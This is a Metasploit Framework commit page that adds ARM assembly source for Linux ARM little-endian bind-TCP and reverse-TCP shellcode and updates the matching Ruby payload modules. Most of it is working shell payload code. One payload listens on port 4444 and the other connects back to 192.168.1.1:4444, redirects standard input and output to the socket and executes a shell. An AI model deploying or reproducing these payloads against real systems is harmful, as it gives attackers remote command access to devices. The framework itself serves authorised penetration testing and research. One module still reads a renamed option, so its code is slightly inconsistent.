Skip to content

Commit e394368

Browse files
author
HD Moore
committed
Improves linux/armle payloads, lands rapid7#3315
2 parents e2617c7 + 9e7f672 commit e394368

File tree

4 files changed

+226
-48
lines changed

4 files changed

+226
-48
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
@@
2+
@
3+
@ Name: single_sock_bind
4+
@ Qualities: -
5+
@ Authors: civ, repmovsb
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
10+
@
11+
@ This source is built from the payload module (instead of other way around...)
12+
@
13+
@ Assemble with: as single_sock_bind.s -o single_sock_bind.o
14+
@ Link with: ld single_sock_bind.o -o single_sock_bind
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Bind TCP
19+
@ meta-description=Listen on a port for a connection and run a second stage
20+
@ meta-authors=civ, repmovsb
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=singles
24+
@ meta-connection-type=bind
25+
@ meta-name=bind_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
@ socket(2,1,6)
33+
mov r0, #2
34+
mov r1, #1
35+
mov r2, #6
36+
mov r7, #1
37+
lsl r7, r7, #8
38+
add r7, r7, #25
39+
svc 0
40+
mov r6, r0
41+
42+
@ bind
43+
add r1, pc, #128
44+
mov r2, #16
45+
mov r7, #1
46+
lsl r7, r7, #8
47+
add r7, r7, #26
48+
svc 0
49+
50+
@ listen
51+
mov r0, r6
52+
mov r7, #1
53+
lsl r7, r7, #8
54+
add r7, r7, #28
55+
svc 0
56+
57+
@ accept
58+
mov r0, r6
59+
sub r1, r1, r1
60+
sub r2, r2, r2
61+
mov r7, #1
62+
lsl r7, r7, #8
63+
add r7, r7, #29
64+
svc 0
65+
66+
@ dup
67+
mov r6, r0
68+
mov r1, #2
69+
loop:
70+
mov r0, r6
71+
mov r7, #63
72+
svc 0
73+
subs r1, r1, #1
74+
bpl loop
75+
76+
@ execve(SHELL, [ARGV0], [NULL])
77+
add r0, pc, #36
78+
eor r4, r4, r4
79+
push {r4}
80+
mov r2, sp
81+
add r4, pc, #36
82+
push {r4}
83+
mov r1, sp
84+
mov r7, #11
85+
svc 0
86+
87+
@ addr
88+
@ port: 4444 , sin_fam = 2
89+
.word 0x5c110002
90+
@ ip: 0.0.0.0
91+
.word 0x00000000
92+
93+
@ SHELL
94+
.word 0x00000000 @ the shell goes here!
95+
.word 0x00000000
96+
.word 0x00000000
97+
.word 0x00000000
98+
@ ARGV0
99+
.word 0x00000000 @ the args!
100+
.word 0x00000000
101+
.word 0x00000000
102+
.word 0x00000000
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
@@
2+
@
3+
@ Name: single_sock_reverse
4+
@ Qualities: -
5+
@ Authors: civ, repmovsb
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux reverse TCP shellcode for ARM LE architecture.
10+
@
11+
@ This source is built from the payload module (instead of other way around...)
12+
@
13+
@ Assemble with: as single_sock_reverse.s -o single_sock_reverse.o
14+
@ Link with: ld single_sock_reverse.o -o single_sock_reverse
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Reverse TCP
19+
@ meta-description=Connect back to the framework and run a second stage
20+
@ meta-authors=civ, repmovsb
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=singles
24+
@ meta-connection-type=reverse
25+
@ meta-name=reverse_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
@ socket(2,1,6)
33+
mov r0, #2
34+
mov r1, #1
35+
add r2, r1, #5
36+
mov r7, #140
37+
add r7, r7, #141
38+
svc 0
39+
40+
@ connect(soc, socaddr, 0x10)
41+
mov r6, r0
42+
add r1, pc, #96
43+
mov r2, #16
44+
mov r7, #141
45+
add r7, r7, #142
46+
svc 0
47+
48+
@ dup2(soc,0) @stdin
49+
mov r0, r6
50+
mov r1, #0
51+
mov r7, #63
52+
svc 0
53+
54+
@ dup2(soc,1) @stdout
55+
mov r0, r6
56+
mov r1, #1
57+
mov r7, #63
58+
svc 0
59+
60+
@ dup2(soc,2) @stderr
61+
mov r0, r6
62+
mov r1, #2
63+
mov r7, #63
64+
svc 0
65+
66+
@ execve(SHELL, [ARGV0], [NULL])
67+
add r0, pc, #36
68+
eor r4, r4, r4
69+
push {r4}
70+
mov r2, sp
71+
add r4, pc, #36
72+
push {r4}
73+
mov r1, sp
74+
mov r7, #11
75+
svc 0
76+
77+
@ addr
78+
@ port: 4444 , sin_fam = 2
79+
.word 0x5c110002
80+
@ ip: 192.168.1.1
81+
.word 0x0101a8c0
82+
@.word 0x0100007f
83+
84+
@ SHELL
85+
.word 0x00000000 @ the shell goes here!
86+
.word 0x00000000
87+
.word 0x00000000
88+
.word 0x00000000
89+
@ ARGV0
90+
.word 0x00000000 @ the args!
91+
.word 0x00000000
92+
.word 0x00000000
93+
.word 0x00000000

modules/payloads/singles/linux/armle/shell_bind_tcp.rb

Lines changed: 15 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,8 @@ def initialize(info = {})
2929
{
3030
'Offsets' =>
3131
{
32-
'RHOST' => [ 208, 'ADDR' ],
33-
'LPORT' => [ 206, 'n' ],
32+
'RHOST' => [ 172, 'ADDR' ],
33+
'LPORT' => [ 170, 'n' ],
3434
},
3535
'Payload' =>
3636
[
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
0xe1a06000, # mov r6, r0
4646

4747
# bind
48-
0xe28f10A4, # 1dr r1, pc, #172 ; 0x9C
48+
0xe28f1080, # 1dr r1, pc, #128
4949
0xe3a02010, # mov r2, #16
5050
0xe3a07001, # mov r7, #1
5151
0xe1a07407, # lsl r7, r7, #8
@@ -78,25 +78,14 @@ def initialize(info = {})
7878
0x5afffffa, # bpl 8c <.text+0x8c>
7979

8080
# execve("/system/bin/sh", args, env)
81-
0xe28f0048, # add r0, pc, #72 ; 0xe40
81+
0xe28f0024, # add r0, pc, #36 ; 0x24
8282
0xe0244004, # eor r4, r4, r4
8383
0xe92d0010, # push {r4}
8484
0xe1a0200d, # mov r2, sp
85-
0xe92d0004, # push {r2}
86-
0xe1a0200d, # mov r2, sp
85+
0xe28f4024, # add r4, pc, #36 ; 0x10
8786
0xe92d0010, # push {r4}
88-
0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0xe8>
89-
0xe92d0002, # push {r1}
90-
0xe92d2000, # push {sp}
9187
0xe1a0100d, # mov r1, sp
92-
0xe92d0004, # push {r2}
93-
0xe1a0200d, # mov r2, sp
94-
0xe3a0700b, # mov r7, #11 ; 0xeb
95-
0xef000000, # svc 0x00000000
96-
97-
# exit(0)
98-
0xe3a00000, # mov r0, #0 ; 0x0
99-
0xe3a07001, # mov r7, #1 ; 0x1
88+
0xe3a0700b, # mov r7, #11 ; 0xb
10089
0xef000000, # svc 0x00000000
10190

10291
# <af>:
@@ -110,7 +99,10 @@ def initialize(info = {})
11099
0x00000000, # .word 0x00000000
111100

112101
# <arg>:
113-
0x00000000 # .word 0x00000000 ; the args!
102+
0x00000000, # .word 0x00000000 ; the args!
103+
0x00000000, # .word 0x00000000
104+
0x00000000, # .word 0x00000000
105+
0x00000000, # .word 0x00000000
114106

115107
].pack("V*")
116108
}
@@ -120,7 +112,7 @@ def initialize(info = {})
120112
register_options(
121113
[
122114
OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
123-
OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ])
115+
OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox
124116
], self.class)
125117
end
126118

@@ -131,14 +123,14 @@ def generate
131123
if sh.length >= 16
132124
raise ArgumentError, "The specified shell must be less than 16 bytes."
133125
end
134-
p[212, sh.length] = sh
126+
p[176, sh.length] = sh
135127

136128
arg = datastore['SHELLARG']
137129
if arg
138-
if arg.length >= 4
139-
raise ArgumentError, "The specified shell argument must be less than 4 bytes."
130+
if arg.length >= 16
131+
raise ArgumentError, "The specified argv[0] must be less than 16 bytes."
140132
end
141-
p[228, arg.length] = arg
133+
p[192, arg.length] = arg
142134
end
143135

144136
p

modules/payloads/singles/linux/armle/shell_reverse_tcp.rb

Lines changed: 16 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,8 @@ def initialize(info = {})
2828
{
2929
'Offsets' =>
3030
{
31-
'LHOST' => [ 172, 'ADDR' ],
32-
'LPORT' => [ 170, 'n' ],
31+
'LHOST' => [ 136, 'ADDR' ],
32+
'LPORT' => [ 134, 'n' ],
3333
},
3434
'Payload' =>
3535
[
@@ -54,7 +54,7 @@ def initialize(info = {})
5454

5555
# connect(soc, socaddr, 0x10)
5656
0xe1a06000, # mov r6, r0
57-
0xe28f1084, # 1dr r1, pc, #132 ; 0x84
57+
0xe28f1060, # 1dr r1, pc, #96 ; 0x60
5858
0xe3a02010, # mov r2, #16 ; 0x10
5959
0xe3a0708d, # mov r7, #141 ; 0x8d
6060
0xe287708e, # add r7, r7, #142 ; 0x8e
@@ -79,30 +79,18 @@ def initialize(info = {})
7979
0xef000000, # svc 0x00000000
8080

8181
# execve("/system/bin/sh", args, env)
82-
# Shrink me here. I am lame.
83-
0xe28f0048, # add r0, pc, #72 ; 0x48
82+
0xe28f0024, # add r0, pc, #36 ; 0x24
8483
0xe0244004, # eor r4, r4, r4
8584
0xe92d0010, # push {r4}
8685
0xe1a0200d, # mov r2, sp
87-
0xe92d0004, # push {r2}
88-
0xe1a0200d, # mov r2, sp
86+
0xe28f4024, # add r4, pc, #36 ; 0x10
8987
0xe92d0010, # push {r4}
90-
0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0x8>
91-
0xe92d0002, # push {r1}
92-
0xe92d2000, # push {sp}
9388
0xe1a0100d, # mov r1, sp
94-
0xe92d0004, # push {r2}
95-
0xe1a0200d, # mov r2, sp
9689
0xe3a0700b, # mov r7, #11 ; 0xb
9790
0xef000000, # svc 0x00000000
9891

99-
# exit(0)
100-
0xe3a00000, # mov r0, #0 ; 0x0
101-
0xe3a07001, # mov r7, #1 ; 0x1
102-
0xef000000, # svc 0x00000000
103-
10492
# <af>:
105-
# port offset = 170, ip offset = 172
93+
# port offset = 134, ip offset = 136
10694
0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2
10795
0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1
10896
# <shell>:
@@ -111,7 +99,10 @@ def initialize(info = {})
11199
0x00000000, # .word 0x00000000
112100
0x00000000, # .word 0x00000000
113101
# <arg>:
114-
0x00000000 # .word 0x00000000 ; the args!
102+
0x00000000, # .word 0x00000000 ; the args!
103+
0x00000000, # .word 0x00000000
104+
0x00000000, # .word 0x00000000
105+
0x00000000, # .word 0x00000000
115106

116107
].pack("V*")
117108
}
@@ -121,7 +112,7 @@ def initialize(info = {})
121112
register_options(
122113
[
123114
OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
124-
OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ])
115+
OptString.new('ARGV0', [ false, "argv[0] to pass to execve", "sh" ]) # mostly used for busybox
125116
], self.class)
126117
end
127118

@@ -132,14 +123,14 @@ def generate
132123
if sh.length >= 16
133124
raise ArgumentError, "The specified shell must be less than 16 bytes."
134125
end
135-
p[176, sh.length] = sh
126+
p[140, sh.length] = sh
136127

137-
arg = datastore['SHELLARG']
128+
arg = datastore['ARGV0']
138129
if arg
139-
if arg.length >= 4
140-
raise ArgumentError, "The specified shell argument must be less than 4 bytes."
130+
if arg.length >= 16
131+
raise ArgumentError, "The specified argv[0] must be less than 16 bytes."
141132
end
142-
p[192, arg.length] = arg
133+
p[156, arg.length] = arg
143134
end
144135

145136
p

0 commit comments

Comments
 (0)